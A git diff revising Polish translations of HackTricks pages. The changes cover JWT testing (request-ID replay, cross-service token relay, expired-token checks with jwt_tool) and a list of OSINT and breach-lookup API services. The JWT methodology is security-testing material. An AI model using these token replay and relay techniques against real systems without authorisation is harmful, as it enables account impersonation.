Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (0001-9999). Żądanie 0001 i 10001 będą korzystać z tego samego ID. Dlatego jeśli serwer zwiększa ID przy każdym żądaniu, można to wykorzystać do **odtwarzania żądania** (konieczne jest wysłanie 10000 żądań między każdym udanym odtworzeniem).
|
||||||
|
|
||||||
### Zarejestrowane twierdzenia JWT
|
### Zarejestrowane twierdzenia JWT
|
||||||
|
|
||||||
|
@ -241,13 +241,13 @@ Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (00
|
||||||
|
|
||||||
**Ataki przekazywania międzyusługowego**
|
**Ataki przekazywania międzyusługowego**
|
||||||
|
|
||||||
Zauważono, że niektóre aplikacje internetowe polegają na zaufanym usłudze JWT do generowania i zarządzania swoimi tokenami. Zdarzały się sytuacje, w których token wygenerowany dla jednego klienta przez usługę JWT został zaakceptowany przez innego klienta tej samej usługi JWT. Jeśli obserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi innej firmy, należy zbadać możliwość zarejestrowania się na koncie innego klienta tej usługi za pomocą tego samego nazwy użytkownika/adresu e-mail. Następnie można spróbować ponownie przesłać uzyskany token w żądaniu do celu, aby sprawdzić, czy zostanie zaakceptowany.
|
Zauważono, że niektóre aplikacje internetowe polegają na zaufanym serwisie JWT do generowania i zarządzania swoimi tokenami. Zdarzały się sytuacje, w których token wygenerowany dla jednego klienta przez usługę JWT został zaakceptowany przez innego klienta tej samej usługi JWT. Jeśli obserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi innej firmy, należy zbadać możliwość zarejestrowania się na koncie innego klienta tej usługi, korzystając z tego samego nazwy użytkownika/adresu e-mail. Następnie można spróbować odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy zostanie zaakceptowany.
|
||||||
|
|
||||||
* Akceptacja twojego tokenu może wskazywać na poważny problem, który potencjalnie pozwala na podszywanie się pod dowolne konto użytkownika. Należy jednak zauważyć, że może być konieczna zgoda na szersze testowanie, jeśli rejestracja w aplikacji innej firmy może wprowadzić w obszar szarej strefy prawniczej.
|
* Akceptacja twojego tokenu może wskazywać na poważny problem, który potencjalnie pozwala na podszywanie się pod dowolne konto użytkownika. Należy jednak zauważyć, że może być konieczna zgoda na szersze testowanie, jeśli rejestracja w aplikacji innej firmy może wprowadzić w obszar szarej strefy prawniczej.
|
||||||
|
|
||||||
**Sprawdzanie ważności tokenów**
|
**Sprawdzanie ważności tokenów**
|
||||||
|
|
||||||
Ważność tokenu jest sprawdzana za pomocą twierdzenia ładunku "exp". Ponieważ JWT często są używane bez informacji sesyjnych, wymagane jest ostrożne postępowanie. W wielu przypadkach przechwycenie i ponowne przesłanie tokenu innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC dotyczący JWT zaleca łagodzenie ataków powtórnego przesyłania JWT poprzez wykorzystanie twierdzenia "exp" do ustawienia czasu ważności tokenu. Ponadto istotne jest, aby aplikacja wdrożyła odpowiednie sprawdzenia, aby zapewnić przetwarzanie tej wartości i odrzucanie wygasłych tokenów. Jeśli token zawiera twierdzenie "exp" i limity czasu testów na to pozwalają, zaleca się przechowywanie tokenu i ponowne przesłanie go po upływie czasu ważności. Zawartość tokenu, w tym analiza znaczników czasu i sprawdzanie ważności (znacznik czasu w formacie UTC), można odczytać za pomocą flagi -R narzędzia jwt\_tool.
|
Ważność tokenu jest sprawdzana za pomocą twierdzenia ładunku "exp". Ponieważ JWT często są używane bez informacji sesyjnych, wymagane jest ostrożne postępowanie. W wielu przypadkach przechwycenie i odtworzenie tokenu innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC JWT zaleca łagodzenie ataków powtórnego przesyłania JWT poprzez wykorzystanie twierdzenia "exp" do ustawienia czasu ważności tokenu. Ponadto istotne jest, aby aplikacja wdrożyła odpowiednie sprawdzenia, aby zapewnić przetwarzanie tej wartości i odrzucanie wygasłych tokenów. Jeśli token zawiera twierdzenie "exp" i limity czasu testów na to pozwalają, zaleca się przechowywanie tokenu i jego odtwarzanie po upływie czasu ważności. Zawartość tokenu, w tym analiza znaczników czasu i sprawdzanie ważności (znacznik czasu w formacie UTC), można odczytać za pomocą flagi -R narzędzia jwt\_tool.
|
||||||
|
|
||||||
* Istnieje ryzyko bezpieczeństwa, jeśli aplikacja nadal waliduje token, ponieważ może to sugerować, że token nigdy nie wygaśnie.
|
* Istnieje ryzyko bezpieczeństwa, jeśli aplikacja nadal waliduje token, ponieważ może to sugerować, że token nigdy nie wygaśnie.
|
||||||
|
|
||||||
|
@ -257,7 +257,7 @@ Ważność tokenu jest sprawdzana za pomocą twierdzenia ładunku "exp". Poniewa
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Jeśli interesuje Cię **kariera hakera** i haking rzeczy nie do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno w mowie, jak i piśmie_).
|
Jeśli interesuje Cię **kariera hakera** i haking tego, co niemożliwe - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno w mowie, jak i piśmie_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -1,132 +1,139 @@
|
||||||
|
# Platformy online z API
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup oficjalne [**gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
## [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||||
|
|
||||||
# [ProjectHoneypot](https://www.projecthoneypot.org/)
|
Możesz sprawdzić, czy adres IP jest powiązany z podejrzaną/złowrogą aktywnością. Całkowicie darmowe.
|
||||||
|
|
||||||
Możesz sprawdzić, czy adres IP jest powiązany z podejrzaną/złowrogą aktywnością. Całkowicie za darmo.
|
## [**BotScout**](http://botscout.com/api.htm)
|
||||||
|
|
||||||
# [**BotScout**](http://botscout.com/api.htm)
|
Sprawdź, czy adres IP jest powiązany z botem rejestrującym konta. Może również sprawdzać nazwy użytkowników i maile. Początkowo darmowe.
|
||||||
|
|
||||||
Sprawdź, czy adres IP jest powiązany z botem rejestrującym konta. Może również sprawdzać nazwy użytkowników i maile. Początkowo za darmo.
|
## [Hunter](https://hunter.io/)
|
||||||
|
|
||||||
# [Hunter](https://hunter.io/)
|
Znajdź i zweryfikuj maile.\
|
||||||
|
Pewna liczba darmowych żądań API, za więcej trzeba płacić.\
|
||||||
Znajdź i zweryfikuj maile.
|
|
||||||
Pewna liczba darmowych żądań API, za więcej trzeba płacić.
|
|
||||||
Komercyjne?
|
Komercyjne?
|
||||||
|
|
||||||
# [AlientVault](https://otx.alienvault.com/api)
|
## [AlientVault](https://otx.alienvault.com/api)
|
||||||
|
|
||||||
Znajdź złośliwe działania powiązane z adresami IP i domenami. Za darmo.
|
Znajdź złośliwe działania powiązane z adresami IP i domenami. Darmowe.
|
||||||
|
|
||||||
# [Clearbit](https://dashboard.clearbit.com/)
|
## [Clearbit](https://dashboard.clearbit.com/)
|
||||||
|
|
||||||
Znajdź powiązane dane osobowe z mailem \(profile na innych platformach\), domeną \(podstawowe informacje o firmie, maile i osoby pracujące\) i firmami \(uzyskaj informacje o firmie z maila\).
|
Znajdź powiązane dane osobowe z mailem (profile na innych platformach), domeną (podstawowe informacje o firmie, maile i pracownicy) i firmami (uzyskaj informacje o firmie z maila).\
|
||||||
Aby uzyskać dostęp do wszystkich możliwości, trzeba zapłacić.
|
Aby uzyskać dostęp do wszystkich możliwości, trzeba zapłacić.\
|
||||||
Komercyjne?
|
Komercyjne?
|
||||||
|
|
||||||
# [BuiltWith](https://builtwith.com/)
|
## [BuiltWith](https://builtwith.com/)
|
||||||
|
|
||||||
Technologie używane przez strony internetowe. Drogi...
|
Technologie używane przez strony internetowe. Drogie...\
|
||||||
Komercyjne?
|
Komercyjne?
|
||||||
|
|
||||||
# [Fraudguard](https://fraudguard.io/)
|
## [Fraudguard](https://fraudguard.io/)
|
||||||
|
|
||||||
Sprawdź, czy host \(domena lub IP\) jest powiązany z podejrzaną/złowrogą aktywnością. Dostęp do niektórych funkcji API jest darmowy.
|
Sprawdź, czy host (domena lub IP) jest powiązany z podejrzaną/złowrogą aktywnością. Dostęp do niektórych funkcji API jest darmowy.\
|
||||||
Komercyjne?
|
Komercyjne?
|
||||||
|
|
||||||
# [FortiGuard](https://fortiguard.com/)
|
## [FortiGuard](https://fortiguard.com/)
|
||||||
|
|
||||||
Sprawdź, czy host \(domena lub IP\) jest powiązany z podejrzaną/złowrogą aktywnością. Dostęp do niektórych funkcji API jest darmowy.
|
Sprawdź, czy host (domena lub IP) jest powiązany z podejrzaną/złowrogą aktywnością. Dostęp do niektórych funkcji API jest darmowy.
|
||||||
|
|
||||||
# [SpamCop](https://www.spamcop.net/)
|
## [SpamCop](https://www.spamcop.net/)
|
||||||
|
|
||||||
Informuje, czy host jest powiązany z aktywnością spamową. Dostęp do niektórych funkcji API jest darmowy.
|
Informuje, czy host jest powiązany z aktywnością spamową. Dostęp do niektórych funkcji API jest darmowy.
|
||||||
|
|
||||||
# [mywot](https://www.mywot.com/)
|
## [mywot](https://www.mywot.com/)
|
||||||
|
|
||||||
Na podstawie opinii i innych metryk dowiedz się, czy domena jest powiązana z podejrzanymi/złowrogimi informacjami.
|
Na podstawie opinii i innych metryk sprawdź, czy domena jest powiązana z podejrzanymi/złowrogimi informacjami.
|
||||||
|
|
||||||
# [ipinfo](https://ipinfo.io/)
|
## [ipinfo](https://ipinfo.io/)
|
||||||
|
|
||||||
Pobiera podstawowe informacje z adresu IP. Możesz przetestować do 100 tys. na miesiąc.
|
Pobiera podstawowe informacje z adresu IP. Możesz przetestować do 100 tys. na miesiąc.
|
||||||
|
|
||||||
# [securitytrails](https://securitytrails.com/app/account)
|
## [securitytrails](https://securitytrails.com/app/account)
|
||||||
|
|
||||||
Ta platforma dostarcza informacje o domenach i adresach IP, takie jak domeny wewnątrz adresu IP lub domeny serwera, domeny należące do maila \(znajdź powiązane domeny\), historia IP domen \(znajdź hosta za CloudFlare\), wszystkie domeny korzystające z serwera nazw....
|
Ta platforma dostarcza informacje o domenach i adresach IP, takie jak domeny wewnątrz adresu IP lub domeny serwera, domeny należące do maila (znajdź powiązane domeny), historia IP domen (znajdź hosta za CloudFlare), wszystkie domeny korzystające z serwera nazw....\
|
||||||
Masz pewien darmowy dostęp.
|
Masz pewien darmowy dostęp.
|
||||||
|
|
||||||
# [fullcontact](https://www.fullcontact.com/)
|
## [fullcontact](https://www.fullcontact.com/)
|
||||||
|
|
||||||
Pozwala wyszukiwać po mailu, domenie lub nazwie firmy i uzyskiwać powiązane "osobiste" informacje. Może również weryfikować maile. Istnieje pewien darmowy dostęp.
|
Pozwala wyszukiwać po mailu, domenie lub nazwie firmy i uzyskiwać powiązane "osobiste" informacje. Może również weryfikować maile. Istnieje pewien darmowy dostęp.
|
||||||
|
|
||||||
# [RiskIQ](https://www.spiderfoot.net/documentation/)
|
## [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||||
|
|
||||||
Wiele informacji o domenach i adresach IP nawet w wersji darmowej/społecznościowej.
|
Wiele informacji o domenach i adresach IP nawet w wersji darmowej/społecznościowej.
|
||||||
|
|
||||||
# [\_IntelligenceX](https://intelx.io/)
|
## [\_IntelligenceX](https://intelx.io/)
|
||||||
|
|
||||||
Wyszukuj domeny, adresy IP i maile oraz uzyskuj informacje z dumpów. Istnieje pewien darmowy dostęp.
|
Wyszukuj domeny, adresy IP i maile oraz uzyskuj informacje z dumpów. Istnieje pewien darmowy dostęp.
|
||||||
|
|
||||||
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
## [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||||
|
|
||||||
Wyszukaj po adresie IP i zbieraj informacje związane z podejrzaną aktywnością. Istnieje pewien darmowy dostęp.
|
Wyszukaj po adresie IP i zbieraj informacje związane z podejrzaną aktywnością. Istnieje pewien darmowy dostęp.
|
||||||
|
|
||||||
# [Greynoise](https://viz.greynoise.io/)
|
## [Greynoise](https://viz.greynoise.io/)
|
||||||
|
|
||||||
Wyszukaj po adresie IP lub zakresie IP i uzyskaj informacje o adresach IP skanujących Internet. 15 dni darmowego dostępu.
|
Wyszukaj po adresie IP lub zakresie IP i uzyskaj informacje o adresach IP skanujących Internet. 15 dni darmowego dostępu.
|
||||||
|
|
||||||
# [Shodan](https://www.shodan.io/)
|
## [Shodan](https://www.shodan.io/)
|
||||||
|
|
||||||
Uzyskaj informacje ze skanowania adresu IP. Istnieje pewien darmowy dostęp do API.
|
Uzyskaj informacje ze skanowania adresu IP. Istnieje pewien darmowy dostęp do API.
|
||||||
|
|
||||||
# [Censys](https://censys.io/)
|
## [Censys](https://censys.io/)
|
||||||
|
|
||||||
Bardzo podobne do shodan
|
Bardzo podobne do shodan
|
||||||
|
|
||||||
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
## [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
|
||||||
|
|
||||||
Znajdź otwarte kubełki S3, wyszukując po słowach kluczowych.
|
Znajdź otwarte kubełki S3, wyszukując po słowach kluczowych.
|
||||||
|
|
||||||
# [Dehashed](https://www.dehashed.com/data)
|
## [Dehashed](https://www.dehashed.com/data)
|
||||||
|
|
||||||
Znajdź wycieki poświadczeń maili i nawet domen
|
Znajdź wycieki poświadczeń mailowych i nawet domen\
|
||||||
Komercyjne?
|
Komercyjne?
|
||||||
|
|
||||||
# [psbdmp](https://psbdmp.ws/)
|
## [psbdmp](https://psbdmp.ws/)
|
||||||
|
|
||||||
Wyszukaj pastebiny, gdzie pojawił się mail. Komercyjne?
|
Wyszukaj pastebiny, gdzie pojawił się mail. Komercyjne?
|
||||||
|
|
||||||
# [emailrep.io](https://emailrep.io/key)
|
## [emailrep.io](https://emailrep.io/key)
|
||||||
|
|
||||||
Uzyskaj reputację maila. Komercyjne?
|
Uzyskaj reputację maila. Komercyjne?
|
||||||
|
|
||||||
# [ghostproject](https://ghostproject.fr/)
|
## [ghostproject](https://ghostproject.fr/)
|
||||||
|
|
||||||
Uzyskaj hasła z wyciekłych maili. Komercyjne?
|
Uzyskaj hasła z wyciekłych maili. Komercyjne?
|
||||||
|
|
||||||
# [Binaryedge](https://www.binaryedge.io/)
|
## [Binaryedge](https://www.binaryedge.io/)
|
||||||
|
|
||||||
Uzyskaj interesujące informacje z adresów IP
|
Uzyskaj interesujące informacje z adresów IP
|
||||||
|
|
||||||
# [haveibeenpwned](https://haveibeenpwned.com/)
|
## [haveibeenpwned](https://haveibeenpwned.com/)
|
||||||
|
|
||||||
Wyszukaj po domenie i mailu, czy zostały zhakowane i hasła. Komercyjne?
|
Wyszukaj po domenie i mailu, czy zostały zhakowane i hasła. Komercyjne?
|
||||||
|
|
||||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(w narzędziu komercyjnym?\)
|
### [IP2Location.io](https://www.ip2location.io/)
|
||||||
|
|
||||||
[https://www.netcraft.com/](https://www.netcraft.com/) \(w narzędziu komercyjnym?\)
|
Wykrywa geolokalizację IP, centrum danych, ASN, a nawet informacje o VPN. Oferuje bezpłatne 30 tys. zapytań miesięcznie.
|
||||||
|
|
||||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(w narzędziu komercyjnym?\)
|
|
||||||
|
|
||||||
|
[https://dnsdumpster.com/](https://dnsdumpster.com/)(w narzędziu komercyjnym?)
|
||||||
|
|
||||||
|
[https://www.netcraft.com/](https://www.netcraft.com/) (w narzędziu komercyjnym?)
|
||||||
|
|
||||||
|
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) (w narzędziu komercyjnym?)
|
||||||
|
|
Loading…
Reference in a new issue